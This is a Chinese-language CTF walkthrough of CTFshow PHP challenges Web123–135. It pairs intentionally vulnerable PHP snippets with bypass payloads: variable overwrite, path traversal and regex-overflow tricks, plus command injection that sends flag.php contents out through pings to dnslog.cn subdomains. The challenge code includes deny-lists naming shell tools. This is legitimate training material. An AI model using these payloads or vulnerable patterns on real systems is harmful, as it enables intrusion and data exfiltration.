【CTFshow php特性 Web123-135】2021.8.31 CTFshow刷题

本文最后更新于:2021年8月31日晚上6点46分

Web123

突破函数禁用

打开题目:

image-20210831154533463

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

首先PHP对不合法的变量名会进行转换,并且只会转换第一个。

1
POSTDATA: fun=echo $flag&CTF_SHOW=a&CTF[SHOW.COM=a
1
POSTDATA: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
1
POSTDATA: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode($GLOBALS)

官方Hint:

1
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

Web125

PHP特性

打开题目:

image-20210831161752223

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

很多输出函数被过滤了,除了被过滤的函数,其实还有var_export函数可以使用

var_export函数的使用

这题可以利用extract进行变量覆盖:

1
POSTDATA: fun=extract($_POST)&CTF_SHOW=a&CTF[SHOW.COM=a&fl0g=flag_give_me

extract用法如下:

image-20210831162434194

官方Hint:

1
2
GET:?1=flag.php 
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

Web126

PHP特性

打开题目:

image-20210831162858621

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

好难,直接放出官方Hint了。

1
2
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
1
2
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127

PHP特性

打开题目:

image-20210831165617525

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

由于 PHP 的变量名不能带「点」和「空格」,所以它们会被转化成下划线。

这里过滤了下划线,但是根据PHP对不合法变量的处理规则,可以用点和空格绕过。

1
2
?ctf%2Eshow=ilove36d
?ctf%20show=ilove36d

官方Hint:

1
GET:?ctf show=ilove36d

Web128

骚操作

打开题目:

image-20210831170337625

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

函数名不能有字母和数字,因此可以调用gettext这个函数,这个函数的别名就是下划线,用法如下:

gettext函数用法

因此,结合使用get_defined_vars,payload如下:

1
?f1=_&f2=get_defined_vars

官方Hint:

https://www.cnblogs.com/lost-1987/articles/3309693.html

https://www.php.net/manual/zh/book.gettext.php

小知识点: _()是一个函数 *()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=&f2=get_defined_vars

Web129

常规操作

打开题目:

image-20210831171523073

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

这题就比较简单了,payload如下:

1
?f=/ctfshow/../../../../../../var/www/html/flag.php

stripos函数定义如下:

stripos函数定义

官方Hint:

考察: 目录穿越

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag

Web130

very very very(省略25万个very)ctfshow

打开题目:

image-20210831172245115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

正则的修正符,i代表不区分大小写,s代表匹配换行

1
POSTDATA: f=ctfshow

官方Hint:

直接绕过正则表达式: f=ctfshow

Web131

very very very(省略25万个very)ctfshow

打开题目:

image-20210831173500172

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

这边利用正则溢出,生成如下payload:

1
2
3
4
<?php
$a = str_repeat("show",250000);
$b = $a."36Dctfshow";
echo $b;

然后传参即可:

image-20210831174452715

官方Hint:

考察: 正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

1
2
3
4
#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK

Web132

为什么会这样?

打开题目:

image-20210831174715657

访问admin目录,得到以下代码:

image-20210831174954599

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

这题考察PHP运算优先级,&&的运算优先级比||高:

1
2
3
<?php
var_dump(false&&false||true); //返回bool(true)
?>

payload如下:

1
/admin/?username=admin&password=&code=admin

官方Hint:

考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码

https://www.cnblogs.com/hurry-up/p/10220082.html

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;

对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

payload: ?a=admin&b=admin&c=admin

1
2
3
#在判断这个的时候
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕过

Web133

为什么会这样?

打开题目:

image-20210831175848946

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

这一题利用dns外带解析以及内敛命令执行,这边直接给出payload,到时候再开一个坑详解。

1
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.h66jdt.dnslog.cn -c 1

image-20210831181801046

得到:

1
2
flagctfshow5e4ad6c96d944d3aa1d5fda9e7f6eba6
ctfshow{5e4ad6c9-6d94-4d3a-a1d5-fda9e7f6eba6} //ctfshow{8-4-4-4-12}

官方Hint:

https://blog.csdn.net/qq_46091464/article/details/109095382

Web134

为什么会那样?

打开题目:

image-20210831182455888

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

尝试在GET中覆盖POST变量,payload如下:

1
?_POST[key1]=36d&_POST[key2]=36d

官方Hint:

1
2
3
考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 
先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
所以payload: ?_POST[key1]=36d&_POST[key2]=36d

Web135

web133plus

打开题目:

image-20210831183258664

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

这一题和web133差不多,利用dns外带解析以及内敛命令执行,这边直接给出payload,到时候再开一个坑详解。

1
?F=`$F`; ping `nl flag.php | awk 'NR==15' | tr -cd "[a-z]"/"[0-9]"`.gbjp09.dnslog.cn -c 1
1
?F=`$F`; ping `nl flag.php | awk 'NR==16' | tr -cd "[a-z]"/"[0-9]"`.gbjp09.dnslog.cn -c 1

然后在dnslog得到以下内容:

image-20210831184050256

1
2
3
15flag1 ctfshow04b35e887e6
16flag2 14aaa94fcb5dee6a89e53
ctfshow{04b35e88-7e61-4aaa-94fc-b5dee6a89e53} //ctfshow{8-4-4-4-12}

官方Hint:

1
2
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据